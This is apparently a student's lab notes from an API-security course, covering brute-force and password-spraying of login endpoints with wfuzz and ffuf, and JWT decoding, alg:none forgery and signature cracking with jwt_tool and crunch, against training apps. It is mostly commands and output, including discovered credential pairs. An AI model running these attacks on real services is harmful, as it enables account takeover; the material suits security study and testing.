Authentication Attacks

Classic Attacks

Brute forcing/Password spraying with Intruder and wfuzz.

wfuzz -d '{"email":"hapihacker@email.com","password":"FUZZ"}' -H 'Content-Type: application/json' -z file,/usr/share/wordlists/rockyou -u http://127.0.0.1:8888/identity/api/auth/login -hc 500
$ wfuzz -d '{"email":"FUZZ","password":"FUZ2Z"}' -H 'Content-Type: application/json' -w emails -w passwords -u http://vapi.apisec.ai/vapi/api2/user/login --sc 200
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://vapi.apisec.ai/vapi/api2/user/login
Total requests: 1000000

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
# Assessment Q2
$ ffuf -mode pitchfork -u http://vapi.apisec.ai/vapi/api2/user/login -w emails:EMAIL,passwords:PASS -X POST -H 'Content-Type: application/json' -d '{"email":"EMAIL","password":"PASS"}' -c -fc 401

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://vapi.apisec.ai/vapi/api2/user/login
 :: Wordlist         : EMAIL: /home/x7331/Documents/apisec/emails
 :: Wordlist         : PASS: /home/x7331/Documents/apisec/passwords
 :: Header           : Content-Type: application/json
 :: Data             : {"email":"EMAIL","password":"PASS"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 401
________________________________________________

[Status: 200, Size: 89, Words: 1, Lines: 1, Duration: 1430ms]
    * EMAIL: savanna48@ortiz.com
    * PASS: zTyBwV/9

[Status: 200, Size: 89, Words: 1, Lines: 1, Duration: 1311ms]
    * EMAIL: hauck.aletha@yahoo.com
    * PASS: kU-wDE7r

[Status: 200, Size: 89, Words: 1, Lines: 1, Duration: 1283ms]
    * EMAIL: harber.leif@beatty.info
    * PASS: kU-wDE7r

:: Progress: [1000/1000] :: Job [1/1] :: 27 req/sec :: Duration: [0:00:36] :: Errors: 0 ::

API Token Attacks

Token Analysis

Proxy request from Postman to Burp.

Send to Sequencer and specify token's value location.

Analyze.

If there is a short kind-of-predictable token pattern -> brute force with intruder.

JWTs

  • Base64 encoded.

  • Starts with ey.

  • Splitted in 3 sections: header, payload, signature (https://jwt.io/).

$ echo "eyJhbGciOiJSUzI1NiJ9" | base64 -d
{"alg":"RS256"}
$ echo "eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3MDQ2NCwiZXhwIjoxNzE3MDc1MjY0fQ" | base64 -d
{"sub":"test02@test.com","role":"user","iat":1716470464,"exp":1717075264}base64: invalid input

jwt_tool

$ jwt_tool.py eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3MDQ2NCwiZXhwIjoxNzE3MDc1MjY0fQ.boM0KzCI4VH8Az-XaEZFem4IExNOUm6IrMs6MMcHM_STO0ikh_xuuKBJHVnvBXHPW5Vi2aqcIveI0NYI_kMnmjDEmqbieU_oaDErglCFx5t-CEF8Fyfkelk5Kmv1wTpQgq3DX_6Snikb2sJyG4p-BLkA13pibF-mUxr17E4FXUatkvDQdu7e6bwS3D8ylW0PM8ZZRk7jLLcZd6OiQmGPYrJXIOpZm_xlWR64lB2tBCaEPDhCTZKamVIwCgx54XoeUlhp2TGQTyBh__SCmMsdwWXSJI0uinSaFobGrD5xEb942ZpYujLrVXz41TuU65nYS9oiV1AdENjGvbGYiknjmg

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.6                \______|             @ticarpi

Original JWT:

=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "RS256"

Token payload values:
[+] sub = "test02@test.com"
[+] role = "user"
[+] iat = 1716470464    ==> TIMESTAMP = 2024-05-23 14:21:04 (UTC)
[+] exp = 1717075264    ==> TIMESTAMP = 2024-05-30 14:21:04 (UTC)

Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 7 days, 0 hours, 0 mins

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
# Automated Scans
$ jwt_tool.py -t http://127.0.0.1:8888/identity/api/v2/user/dashboard -rh "Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.bCKaFcXXMclXFBVjdtboApA0b2c8oC1EjNlU2WQqDx_TpsNGXWq9skmcqAbUNYEhMNK29MSmytuZzMFAtKXMPBv86GXuRFdefnNadHxYXW9TP6eZe0EBBuxOHqKTMnZAWurGOFuk-aoGDFsug9fkCpqjBYpZfdQihJ_AksB_mgVUKf1mJScC7P9oGVKzv_inkykPBVa-4o1P5iU-L_tY_tmdZY-NTLK30KVfa2l_bBbrMtsokrniy3d2Nxn2Om3R8Y5MxHhLzzP-EE5MV-kGSahtadpe0GXqIBJaWYaoiMrc-K9TzkagXMGUlCxriuWf3ykOmF2uiVFrc0coVJaWxw" -M pb

Attacks

Generating token without signature

$ jwt_tool.py eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.bCKaFcXXMclXFBVjdtboApA0b2c8oC1EjNlU2WQqDx_TpsNGXWq9skmcqAbUNYEhMNK29MSmytuZzMFAtKXMPBv86GXuRFdefnNadHxYXW9TP6eZe0EBBuxOHqKTMnZAWurGOFuk-aoGDFsug9fkCpqjBYpZfdQihJ_AksB_mgVUKf1mJScC7P9oGVKzv_inkykPBVa-4o1P5iU-L_tY_tmdZY-NTLK30KVfa2l_bBbrMtsokrniy3d2Nxn2Om3R8Y5MxHhLzzP-EE5MV-kGSahtadpe0GXqIBJaWYaoiMrc-K9TzkagXMGUlCxriuWf3ykOmF2uiVFrc0coVJaWxw -X a

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.6                \______|             @ticarpi

Original JWT:

jwttool_a7333a823ae2439cb9a1f625cf57874a - EXPLOIT: "alg":"none" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJub25lIn0.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.
jwttool_ba16d4490898e1a275865d6054d29218 - EXPLOIT: "alg":"None" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJOb25lIn0.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.
jwttool_933d31b931b0cde418923bd086cb24b8 - EXPLOIT: "alg":"NONE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJOT05FIn0.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.
jwttool_779c72e9bb024b8feebb000aaf8f8b96 - EXPLOIT: "alg":"nOnE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJuT25FIn0.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.

# Copy this token to a request and see how it responds

Cracking the signature

# Generating a password file
$ crunch 5 5 -o crAPIpw.txt
Crunch will now generate the following amount of data: 71288256 bytes
67 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 11881376

crunch: 100% completed generating output

# Trying to crack the signature
$ jwt_tool.py eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3MDQ1MSwiZXhwIjoxNzE3MDc1MjUxfQ.Hvtr7E8g0YM3UIeAtNKlaojfBludz1YfjQGpugnVibqs1ApqErSHQVnLwt_MlisoX4GWjNiCIl7mLtRtFEhuo0YEERByj-Qh7SN6Gnbb_QbhbbjEwTYE8DhACDWzotoNbz3tBnTfoCLiMvZ0BnIsqbIKl8n96E-cVl6wJFiRsNIpkQt6rEiWItuyLUfCfkzzFQLMW8VYKzvZh53T6UxmQrw0sZdk2MmuAbtIbzPRDz8Y904fL1ZVL4nvRsbwo6xEGfeqJsXQBmdRe9bk_YX51grlzCw8YSxbOD8Tb4KHkm88j0tGFFXXozBZrff3GSxGCP5u66yh4U0lnJgkcuGuZg -C -d ~/Documents/apisec/crAPIpw.txt
# Different algorithm??

Last updated